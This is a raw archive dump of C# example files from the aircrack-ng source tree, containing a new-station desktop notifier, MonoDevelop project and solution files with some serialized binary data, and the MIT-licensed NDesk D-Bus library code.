" + BSSID + ")", new string[0], hints, 0); } /* // Ugly hack for the N900 to notify the user since this can't be done with dbus-send // because it does not support empty array. StreamWriter sw = new StreamWriter("/home/user/notify.py"); if (string.IsNullOrEmpty(BSSID)) { sw.WriteLine("import dbus\n" + "bus = dbus.SessionBus()\n" + "proxy = bus.get_object('org.freedesktop.Notifications', '/org/freedesktop/Notifications')\n" + "interface = dbus.Interface(proxy,dbus_interface='org.freedesktop.Notifications')\n" + "interface.Notify('Notification', 0, 'control_bluetooth_paired', 'New unassociated station', '{0}', [], {{}}, 0)", staMac); } else { sw.WriteLine("import dbus\n" + "bus = dbus.SessionBus()\n" + "proxy = bus.get_object('org.freedesktop.Notifications', '/org/freedesktop/Notifications')\n" + "interface = dbus.Interface(proxy,dbus_interface='org.freedesktop.Notifications')\n" + "interface.Notify('Notification', 0, 'control_bluetooth_paired', 'New associated station', '{0} is associated to {1}', [], {{}}, 0)", staMac, BSSID); } sw.Close(); Process p = new Process(); p.StartInfo.UseShellExecute = false; p.StartInfo.FileName = "/usr/bin/python"; p.StartInfo.Arguments = "/home/user/notify.py"; p.Start(); p.WaitForExit(); FileInfo f = new FileInfo("/home/user/notify.py"); f.Delete(); */ } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NewStationNotify/NewStationNotify.pidb0000644000000000000000000002054611600013506027110 0ustar rootrootÿÿÿÿSystem.Collections.Hashtable LoadFactorVersionComparerHashCodeProviderHashSizeKeysValues System.Collections.IComparer$System.Collections.IHashCodeProviderìQ8?   LastValidTaskListTokensVersionFIXME:2;TODO:1;HACK:1;UNDONE:0T ¤ îf Notificationþÿÿÿ  =g‡C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\Notification.cshNewStationNotifyþÿÿÿ iNotifyj8 Shows a notification on the screen ˆ9<kBSSID$lstaMac2xf MainClassþÿÿÿ  6gC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\Main.cshNewStationNotifyiMainþÿÿÿˆ*5ÿjSystemkString% f‡C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\AssemblyInfo.csg AssemblyTitle  ÿhSystem.ReflectioniAssemblyTitleAttributejNewStationNotifyfkAssemblyDescription  ÿhlAssemblyDescriptionAttributefmAssemblyConfiguration ÿhnAssemblyConfigurationAttributefoAssemblyCompany ÿhpAssemblyCompanyAttributefqAssemblyProduct ÿhrAssemblyProductAttributefsAssemblyCopyright ÿhtAssemblyCopyrightAttributeuThomas d'OtreppefvAssemblyTrademark ÿhwAssemblyTrademarkAttributefxAssemblyCulture  ÿhyAssemblyCultureAttributefzAssemblyVersion  ÿh{AssemblyVersionAttribute|1.0.*ÿÿÿÿ     GMonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null•System.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.ReferenceEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]_items_size_version)MonoDevelop.Projects.Dom.ReferenceEntry[] ‚System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]VersionComparerHashSize KeyValuePairs’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]†System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]][]P  System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]VersionComparerHashSize KeyValuePairs’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]…System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]][]  System.Collections.Hashtable LoadFactorVersionComparerHashCodeProviderHashSizeKeysValues System.Collections.IComparer$System.Collections.IHashCodeProviderìQ8?  'MonoDevelop.Projects.Dom.ReferenceEntry     ’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] „System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]îÿÿÿ„System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]keyvalue1MonoDevelop.Projects.Dom.Serialization.ClassEntryNewStationNotify.Notification ëÿÿÿîÿÿÿNewStationNotify.MainClass  ƒSystem.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]èÿÿÿƒSystem.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]keyvalue0MonoDevelop.Projects.Dom.Serialization.FileEntryC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\Main.cs åÿÿÿèÿÿÿ‡C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\AssemblyInfo.cs âÿÿÿèÿÿÿ‡C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\Notification.cs   'MonoDevelop.Projects.Dom.ReferenceEntry databaseUri!JAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll"HAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\System.dll#‹Project:C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\NDesk-dbus.csproj$…Project:C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\WirelessPanda\WirelessPanda.csproj1MonoDevelop.Projects.Dom.Serialization.ClassEntry positionnspacenametypeParameterCount subclassesflagsctype modifiers typeModifier System.Collections.ArrayList3MonoDevelop.Projects.Dom.Serialization.ContentFlags"MonoDevelop.Projects.Dom.ClassType"MonoDevelop.Projects.Dom.Modifiers%MonoDevelop.Projects.Dom.TypeModifierL%NewStationNotify& Notification Ùÿÿÿ3MonoDevelop.Projects.Dom.Serialization.ContentFlagsvalue__NØÿÿÿ"MonoDevelop.Projects.Dom.ClassTypevalue__×ÿÿÿ"MonoDevelop.Projects.Dom.Modifiersvalue__Öÿÿÿ%MonoDevelop.Projects.Dom.TypeModifiervalue__> %, MainClass ÓÿÿÿÙÿÿÿÒÿÿÿØÿÿÿÑÿÿÿ×ÿÿÿÐÿÿÿÖÿÿÿ0MonoDevelop.Projects.Dom.Serialization.FileEntryfilePath parseTimeparseErrorRetries commentTasksclasses ŠSystem.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.Tag, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]] e\üÀ«ý͈ 2  ÕIþa«ý͈ 5   óä}V«ý͈ 7 2ŠSystem.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.Tag, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]_items_size_versionMonoDevelop.Projects.Dom.Tag[] 952 972 99MonoDevelop.Projects.Dom.Tag ºaircrack-ng-1.2-beta3/lib/csharp/MonoExample/NewStationNotify/NewStationNotify.csproj0000644000000000000000000000430311600013506027463 0ustar rootroot Debug x86 8.0.50727 2.0 {82B5448F-10AA-4BE0-9C20-DEA6441C9146} Exe NewStationNotify NewStationNotify v4.0 true full false bin\Debug DEBUG prompt 4 x86 true none false bin\Release prompt 4 x86 true {223B034E-A2F0-4BC7-875A-F9B5972C0670} NDesk-dbus {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3} WirelessPanda aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NewStationNotify.sln0000644000000000000000000000351711600013506023501 0ustar rootroot Microsoft Visual Studio Solution File, Format Version 11.00 # Visual Studio 2010 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NewStationNotify", "NewStationNotify\NewStationNotify.csproj", "{82B5448F-10AA-4BE0-9C20-DEA6441C9146}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NDesk-dbus", "NDesk-dbus\NDesk-dbus.csproj", "{223B034E-A2F0-4BC7-875A-F9B5972C0670}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WirelessPanda", "..\WirelessPanda\WirelessPanda.csproj", "{F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x86 = Debug|x86 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {223B034E-A2F0-4BC7-875A-F9B5972C0670}.Debug|x86.ActiveCfg = Debug|Any CPU {223B034E-A2F0-4BC7-875A-F9B5972C0670}.Debug|x86.Build.0 = Debug|Any CPU {223B034E-A2F0-4BC7-875A-F9B5972C0670}.Release|x86.ActiveCfg = Release|Any CPU {223B034E-A2F0-4BC7-875A-F9B5972C0670}.Release|x86.Build.0 = Release|Any CPU {82B5448F-10AA-4BE0-9C20-DEA6441C9146}.Debug|x86.ActiveCfg = Debug|x86 {82B5448F-10AA-4BE0-9C20-DEA6441C9146}.Debug|x86.Build.0 = Debug|x86 {82B5448F-10AA-4BE0-9C20-DEA6441C9146}.Release|x86.ActiveCfg = Release|x86 {82B5448F-10AA-4BE0-9C20-DEA6441C9146}.Release|x86.Build.0 = Release|x86 {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|x86.ActiveCfg = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|x86.Build.0 = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|x86.ActiveCfg = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(MonoDevelopProperties) = preSolution StartupItem = NewStationNotify\NewStationNotify.csproj EndGlobalSection EndGlobal aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/0000755000000000000000000000000012316431264021442 5ustar rootrootaircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/DBus.cs0000644000000000000000000000454511600013506022624 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using NDesk.DBus; namespace org.freedesktop.DBus { [Flags] public enum NameFlag : uint { None = 0, AllowReplacement = 0x1, ReplaceExisting = 0x2, DoNotQueue = 0x4, } public enum RequestNameReply : uint { PrimaryOwner = 1, InQueue, Exists, AlreadyOwner, } public enum ReleaseNameReply : uint { Released = 1, NonExistent, NotOwner, } public enum StartReply : uint { //The service was successfully started. Success = 1, //A connection already owns the given name. AlreadyRunning, } public delegate void NameOwnerChangedHandler (string name, string old_owner, string new_owner); public delegate void NameAcquiredHandler (string name); public delegate void NameLostHandler (string name); [Interface ("org.freedesktop.DBus.Peer")] public interface Peer { void Ping (); [return: Argument ("machine_uuid")] string GetMachineId (); } [Interface ("org.freedesktop.DBus.Introspectable")] public interface Introspectable { [return: Argument ("data")] string Introspect (); } [Interface ("org.freedesktop.DBus.Properties")] public interface Properties { [return: Argument ("value")] object Get (string @interface, string propname); void Set (string @interface, string propname, object value); [return: Argument ("props")] IDictionary GetAll(string @interface); } [Interface ("org.freedesktop.DBus")] public interface IBus : Introspectable { RequestNameReply RequestName (string name, NameFlag flags); ReleaseNameReply ReleaseName (string name); string Hello (); string[] ListNames (); string[] ListActivatableNames (); bool NameHasOwner (string name); event NameOwnerChangedHandler NameOwnerChanged; event NameLostHandler NameLost; event NameAcquiredHandler NameAcquired; StartReply StartServiceByName (string name, uint flags); string GetNameOwner (string name); uint GetConnectionUnixUser (string connection_name); void AddMatch (string rule); void RemoveMatch (string rule); //undocumented in spec string[] ListQueuedOwners (string name); uint GetConnectionUnixProcessID (string connection_name); byte[] GetConnectionSELinuxSecurityContext (string connection_name); void ReloadConfig (); } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Wrapper.cs0000644000000000000000000001165611600013506023410 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; namespace NDesk.DBus { //TODO: complete and use these wrapper classes //not sure exactly what I'm thinking but there seems to be sense here //FIXME: signature sending/receiving is currently ambiguous in this code //FIXME: in fact, these classes are totally broken and end up doing no-op, do not use without understanding the problem class MethodCall { public Message message = new Message (); public MethodCall (ObjectPath path, string @interface, string member, string destination, Signature signature) { message.Header.MessageType = MessageType.MethodCall; message.ReplyExpected = true; message.Header.Fields[FieldCode.Path] = path; if (@interface != null) message.Header.Fields[FieldCode.Interface] = @interface; message.Header.Fields[FieldCode.Member] = member; message.Header.Fields[FieldCode.Destination] = destination; //TODO: consider setting Sender here for p2p situations //this will allow us to remove the p2p hacks in MethodCall and Message #if PROTO_REPLY_SIGNATURE //TODO #endif //message.Header.Fields[FieldCode.Signature] = signature; //use the wrapper in Message because it checks for emptiness message.Signature = signature; } public MethodCall (Message message) { this.message = message; Path = (ObjectPath)message.Header.Fields[FieldCode.Path]; if (message.Header.Fields.ContainsKey (FieldCode.Interface)) Interface = (string)message.Header.Fields[FieldCode.Interface]; Member = (string)message.Header.Fields[FieldCode.Member]; Destination = (string)message.Header.Fields[FieldCode.Destination]; //TODO: filled by the bus so reliable, but not the case for p2p //so we make it optional here, but this needs some more thought if (message.Header.Fields.ContainsKey (FieldCode.Sender)) Sender = (string)message.Header.Fields[FieldCode.Sender]; #if PROTO_REPLY_SIGNATURE //TODO: note that an empty ReplySignature should really be treated differently to the field not existing! if (message.Header.Fields.ContainsKey (FieldCode.ReplySignature)) ReplySignature = (Signature)message.Header.Fields[FieldCode.ReplySignature]; else ReplySignature = Signature.Empty; #endif //Signature = (Signature)message.Header.Fields[FieldCode.Signature]; //use the wrapper in Message because it checks for emptiness Signature = message.Signature; } public ObjectPath Path; public string Interface; public string Member; public string Destination; public string Sender; #if PROTO_REPLY_SIGNATURE public Signature ReplySignature; #endif public Signature Signature; } class MethodReturn { public Message message = new Message (); public MethodReturn (uint reply_serial) { message.Header.MessageType = MessageType.MethodReturn; message.Header.Flags = HeaderFlag.NoReplyExpected | HeaderFlag.NoAutoStart; message.Header.Fields[FieldCode.ReplySerial] = reply_serial; //signature optional? //message.Header.Fields[FieldCode.Signature] = signature; } public MethodReturn (Message message) { this.message = message; ReplySerial = (uint)message.Header.Fields[FieldCode.ReplySerial]; } public uint ReplySerial; } class Error { public Message message = new Message (); public Error (string error_name, uint reply_serial) { message.Header.MessageType = MessageType.Error; message.Header.Flags = HeaderFlag.NoReplyExpected | HeaderFlag.NoAutoStart; message.Header.Fields[FieldCode.ErrorName] = error_name; message.Header.Fields[FieldCode.ReplySerial] = reply_serial; } public Error (Message message) { this.message = message; ErrorName = (string)message.Header.Fields[FieldCode.ErrorName]; ReplySerial = (uint)message.Header.Fields[FieldCode.ReplySerial]; //Signature = (Signature)message.Header.Fields[FieldCode.Signature]; } public string ErrorName; public uint ReplySerial; //public Signature Signature; } class Signal { public Message message = new Message (); public Signal (ObjectPath path, string @interface, string member) { message.Header.MessageType = MessageType.Signal; message.Header.Flags = HeaderFlag.NoReplyExpected | HeaderFlag.NoAutoStart; message.Header.Fields[FieldCode.Path] = path; message.Header.Fields[FieldCode.Interface] = @interface; message.Header.Fields[FieldCode.Member] = member; } public Signal (Message message) { this.message = message; Path = (ObjectPath)message.Header.Fields[FieldCode.Path]; Interface = (string)message.Header.Fields[FieldCode.Interface]; Member = (string)message.Header.Fields[FieldCode.Member]; if (message.Header.Fields.ContainsKey (FieldCode.Sender)) Sender = (string)message.Header.Fields[FieldCode.Sender]; } public ObjectPath Path; public string Interface; public string Member; public string Sender; } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/TypeImplementer.cs0000644000000000000000000002627311600013506025114 0ustar rootroot// Copyright 2007 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Reflection; using System.Reflection.Emit; using System.Collections.Generic; namespace NDesk.DBus { static class TypeImplementer { static AssemblyBuilder asmB; static ModuleBuilder modB; static void InitHack () { if (asmB != null) return; asmB = AppDomain.CurrentDomain.DefineDynamicAssembly (new AssemblyName ("NDesk.DBus.Proxies"), AssemblyBuilderAccess.Run); modB = asmB.DefineDynamicModule ("ProxyModule"); } static Dictionary map = new Dictionary (); public static Type GetImplementation (Type declType) { Type retT; if (map.TryGetValue (declType, out retT)) return retT; InitHack (); TypeBuilder typeB = modB.DefineType (declType.Name + "Proxy", TypeAttributes.Class | TypeAttributes.Public, typeof (BusObject)); Implement (typeB, declType); foreach (Type iface in declType.GetInterfaces ()) Implement (typeB, iface); retT = typeB.CreateType (); map[declType] = retT; return retT; } public static void Implement (TypeBuilder typeB, Type iface) { typeB.AddInterfaceImplementation (iface); foreach (MethodInfo declMethod in iface.GetMethods ()) { ParameterInfo[] parms = declMethod.GetParameters (); Type[] parmTypes = new Type[parms.Length]; for (int i = 0 ; i < parms.Length ; i++) parmTypes[i] = parms[i].ParameterType; MethodAttributes attrs = declMethod.Attributes ^ MethodAttributes.Abstract; MethodBuilder method_builder = typeB.DefineMethod (declMethod.Name, attrs, declMethod.ReturnType, parmTypes); typeB.DefineMethodOverride (method_builder, declMethod); //define in/out/ref/name for each of the parameters for (int i = 0; i < parms.Length ; i++) method_builder.DefineParameter (i, parms[i].Attributes, parms[i].Name); ILGenerator ilg = method_builder.GetILGenerator (); GenHookupMethod (ilg, declMethod, sendMethodCallMethod, Mapper.GetInterfaceName (iface), declMethod.Name); } } static MethodInfo sendMethodCallMethod = typeof (BusObject).GetMethod ("SendMethodCall"); static MethodInfo sendSignalMethod = typeof (BusObject).GetMethod ("SendSignal"); static MethodInfo toggleSignalMethod = typeof (BusObject).GetMethod ("ToggleSignal"); static Dictionary hookup_methods = new Dictionary (); public static DynamicMethod GetHookupMethod (EventInfo ei) { DynamicMethod hookupMethod; if (hookup_methods.TryGetValue (ei, out hookupMethod)) return hookupMethod; if (ei.EventHandlerType.IsAssignableFrom (typeof (System.EventHandler))) Console.Error.WriteLine ("Warning: Cannot yet fully expose EventHandler and its subclasses: " + ei.EventHandlerType); MethodInfo declMethod = ei.EventHandlerType.GetMethod ("Invoke"); hookupMethod = GetHookupMethod (declMethod, sendSignalMethod, Mapper.GetInterfaceName (ei), ei.Name); hookup_methods[ei] = hookupMethod; return hookupMethod; } public static DynamicMethod GetHookupMethod (MethodInfo declMethod, MethodInfo invokeMethod, string @interface, string member) { ParameterInfo[] delegateParms = declMethod.GetParameters (); Type[] hookupParms = new Type[delegateParms.Length+1]; hookupParms[0] = typeof (BusObject); for (int i = 0; i < delegateParms.Length ; i++) hookupParms[i+1] = delegateParms[i].ParameterType; DynamicMethod hookupMethod = new DynamicMethod ("Handle" + member, declMethod.ReturnType, hookupParms, typeof (MessageWriter)); ILGenerator ilg = hookupMethod.GetILGenerator (); GenHookupMethod (ilg, declMethod, invokeMethod, @interface, member); return hookupMethod; } //static MethodInfo getMethodFromHandleMethod = typeof (MethodBase).GetMethod ("GetMethodFromHandle", new Type[] {typeof (RuntimeMethodHandle)}); static MethodInfo getTypeFromHandleMethod = typeof (Type).GetMethod ("GetTypeFromHandle", new Type[] {typeof (RuntimeTypeHandle)}); static ConstructorInfo argumentNullExceptionConstructor = typeof (ArgumentNullException).GetConstructor (new Type[] {typeof (string)}); static ConstructorInfo messageWriterConstructor = typeof (MessageWriter).GetConstructor (Type.EmptyTypes); static MethodInfo messageWriterWriteMethod = typeof (MessageWriter).GetMethod ("WriteComplex", new Type[] {typeof (object), typeof (Type)}); static MethodInfo messageWriterWritePad = typeof (MessageWriter).GetMethod ("WritePad", new Type[] {typeof (int)}); static Dictionary writeMethods = new Dictionary (); public static MethodInfo GetWriteMethod (Type t) { MethodInfo meth; if (writeMethods.TryGetValue (t, out meth)) return meth; /* Type tUnder = t; if (t.IsEnum) tUnder = Enum.GetUnderlyingType (t); meth = typeof (MessageWriter).GetMethod ("Write", BindingFlags.ExactBinding | BindingFlags.Instance | BindingFlags.Public, null, new Type[] {tUnder}, null); if (meth != null) { writeMethods[t] = meth; return meth; } */ DynamicMethod method_builder = new DynamicMethod ("Write" + t.Name, typeof (void), new Type[] {typeof (MessageWriter), t}, typeof (MessageWriter)); ILGenerator ilg = method_builder.GetILGenerator (); ilg.Emit (OpCodes.Ldarg_0); ilg.Emit (OpCodes.Ldarg_1); GenMarshalWrite (ilg, t); ilg.Emit (OpCodes.Ret); meth = method_builder; writeMethods[t] = meth; return meth; } //takes the Writer instance and the value of Type t off the stack, writes it public static void GenWriter (ILGenerator ilg, Type t) { Type tUnder = t; //bool imprecise = false; if (t.IsEnum) { tUnder = Enum.GetUnderlyingType (t); //imprecise = true; } //MethodInfo exactWriteMethod = typeof (MessageWriter).GetMethod ("Write", new Type[] {tUnder}); MethodInfo exactWriteMethod = typeof (MessageWriter).GetMethod ("Write", BindingFlags.ExactBinding | BindingFlags.Instance | BindingFlags.Public, null, new Type[] {tUnder}, null); //ExactBinding InvokeMethod if (exactWriteMethod != null) { //if (imprecise) // ilg.Emit (OpCodes.Castclass, tUnder); ilg.Emit (exactWriteMethod.IsFinal ? OpCodes.Call : OpCodes.Callvirt, exactWriteMethod); } else { //..boxed if necessary if (t.IsValueType) ilg.Emit (OpCodes.Box, t); //the Type parameter ilg.Emit (OpCodes.Ldtoken, t); ilg.Emit (OpCodes.Call, getTypeFromHandleMethod); ilg.Emit (messageWriterWriteMethod.IsFinal ? OpCodes.Call : OpCodes.Callvirt, messageWriterWriteMethod); } } //takes a writer and a reference to an object off the stack public static void GenMarshalWrite (ILGenerator ilg, Type type) { LocalBuilder val = ilg.DeclareLocal (type); ilg.Emit (OpCodes.Stloc, val); LocalBuilder writer = ilg.DeclareLocal (typeof (MessageWriter)); ilg.Emit (OpCodes.Stloc, writer); FieldInfo[] fis = type.GetFields (BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); //align to 8 for structs ilg.Emit (OpCodes.Ldloc, writer); ilg.Emit (OpCodes.Ldc_I4, 8); ilg.Emit (messageWriterWritePad.IsFinal ? OpCodes.Call : OpCodes.Callvirt, messageWriterWritePad); foreach (FieldInfo fi in fis) { Type t = fi.FieldType; //the Writer to write to ilg.Emit (OpCodes.Ldloc, writer); //the object parameter ilg.Emit (OpCodes.Ldloc, val); ilg.Emit (OpCodes.Ldfld, fi); GenWriter (ilg, t); } } public static void GenHookupMethod (ILGenerator ilg, MethodInfo declMethod, MethodInfo invokeMethod, string @interface, string member) { ParameterInfo[] parms = declMethod.GetParameters (); Type retType = declMethod.ReturnType; //the BusObject instance ilg.Emit (OpCodes.Ldarg_0); //MethodInfo /* ilg.Emit (OpCodes.Ldtoken, declMethod); ilg.Emit (OpCodes.Call, getMethodFromHandleMethod); */ //interface ilg.Emit (OpCodes.Ldstr, @interface); //special case event add/remove methods if (declMethod.IsSpecialName && (declMethod.Name.StartsWith ("add_") || declMethod.Name.StartsWith ("remove_"))) { string[] parts = declMethod.Name.Split (new char[]{'_'}, 2); string ename = parts[1]; //Delegate dlg = (Delegate)inArgs[0]; bool adding = parts[0] == "add"; ilg.Emit (OpCodes.Ldstr, ename); ilg.Emit (OpCodes.Ldarg_1); ilg.Emit (OpCodes.Ldc_I4, adding ? 1 : 0); ilg.Emit (OpCodes.Tailcall); ilg.Emit (toggleSignalMethod.IsFinal ? OpCodes.Call : OpCodes.Callvirt, toggleSignalMethod); ilg.Emit (OpCodes.Ret); return; } //property accessor mapping if (declMethod.IsSpecialName) { if (member.StartsWith ("get_")) member = "Get" + member.Substring (4); else if (member.StartsWith ("set_")) member = "Set" + member.Substring (4); } //member ilg.Emit (OpCodes.Ldstr, member); //signature Signature inSig = Signature.Empty; Signature outSig = Signature.Empty; if (!declMethod.IsSpecialName) foreach (ParameterInfo parm in parms) { if (parm.IsOut) outSig += Signature.GetSig (parm.ParameterType.GetElementType ()); else inSig += Signature.GetSig (parm.ParameterType); } ilg.Emit (OpCodes.Ldstr, inSig.Value); LocalBuilder writer = ilg.DeclareLocal (typeof (MessageWriter)); ilg.Emit (OpCodes.Newobj, messageWriterConstructor); ilg.Emit (OpCodes.Stloc, writer); foreach (ParameterInfo parm in parms) { if (parm.IsOut) continue; Type t = parm.ParameterType; //offset by one to account for "this" int i = parm.Position + 1; //null checking of parameters (but not their recursive contents) if (!t.IsValueType) { Label notNull = ilg.DefineLabel (); //if the value is null... ilg.Emit (OpCodes.Ldarg, i); ilg.Emit (OpCodes.Brtrue_S, notNull); //...throw Exception string paramName = parm.Name; ilg.Emit (OpCodes.Ldstr, paramName); ilg.Emit (OpCodes.Newobj, argumentNullExceptionConstructor); ilg.Emit (OpCodes.Throw); //was not null, so all is well ilg.MarkLabel (notNull); } ilg.Emit (OpCodes.Ldloc, writer); //the parameter ilg.Emit (OpCodes.Ldarg, i); GenWriter (ilg, t); } ilg.Emit (OpCodes.Ldloc, writer); //the expected return Type ilg.Emit (OpCodes.Ldtoken, retType); ilg.Emit (OpCodes.Call, getTypeFromHandleMethod); LocalBuilder exc = ilg.DeclareLocal (typeof (Exception)); ilg.Emit (OpCodes.Ldloca_S, exc); //make the call ilg.Emit (invokeMethod.IsFinal ? OpCodes.Call : OpCodes.Callvirt, invokeMethod); //define a label we'll use to deal with a non-null Exception Label noErr = ilg.DefineLabel (); //if the out Exception is not null... ilg.Emit (OpCodes.Ldloc, exc); ilg.Emit (OpCodes.Brfalse_S, noErr); //...throw it. ilg.Emit (OpCodes.Ldloc, exc); ilg.Emit (OpCodes.Throw); //Exception was null, so all is well ilg.MarkLabel (noErr); if (retType == typeof (void)) { //we aren't expecting a return value, so throw away the (hopefully) null return if (invokeMethod.ReturnType != typeof (void)) ilg.Emit (OpCodes.Pop); } else { if (retType.IsValueType) ilg.Emit (OpCodes.Unbox_Any, retType); else ilg.Emit (OpCodes.Castclass, retType); } ilg.Emit (OpCodes.Ret); } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Message.cs0000644000000000000000000000367311600013506023354 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; namespace NDesk.DBus { class Message { public Message () { Header.Endianness = Connection.NativeEndianness; Header.MessageType = MessageType.MethodCall; Header.Flags = HeaderFlag.NoReplyExpected; //TODO: is this the right place to do this? Header.MajorVersion = Protocol.Version; Header.Fields = new Dictionary (); } public Header Header; public Connection Connection; public Signature Signature { get { object o; if (Header.Fields.TryGetValue (FieldCode.Signature, out o)) return (Signature)o; else return Signature.Empty; } set { if (value == Signature.Empty) Header.Fields.Remove (FieldCode.Signature); else Header.Fields[FieldCode.Signature] = value; } } public bool ReplyExpected { get { return (Header.Flags & HeaderFlag.NoReplyExpected) == HeaderFlag.None; } set { if (value) Header.Flags &= ~HeaderFlag.NoReplyExpected; //flag off else Header.Flags |= HeaderFlag.NoReplyExpected; //flag on } } //public HeaderField[] HeaderFields; //public Dictionary; public byte[] Body; //TODO: make use of Locked /* protected bool locked = false; public bool Locked { get { return locked; } } */ public void SetHeaderData (byte[] data) { EndianFlag endianness = (EndianFlag)data[0]; MessageReader reader = new MessageReader (endianness, data); Header = (Header)reader.ReadStruct (typeof (Header)); } public byte[] GetHeaderData () { if (Body != null) Header.Length = (uint)Body.Length; MessageWriter writer = new MessageWriter (Header.Endianness); writer.WriteValueType (Header, typeof (Header)); writer.CloseWrite (); return writer.ToArray (); } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Signature.cs0000644000000000000000000003064111600013506023724 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; //TODO: Reflection should be done at a higher level than this class using System.Reflection; namespace NDesk.DBus { //maybe this should be nullable? struct Signature { //TODO: this class needs some work //Data should probably include the null terminator public static readonly Signature Empty = new Signature (String.Empty); public static bool operator == (Signature a, Signature b) { /* //TODO: remove this hack to handle bad case when 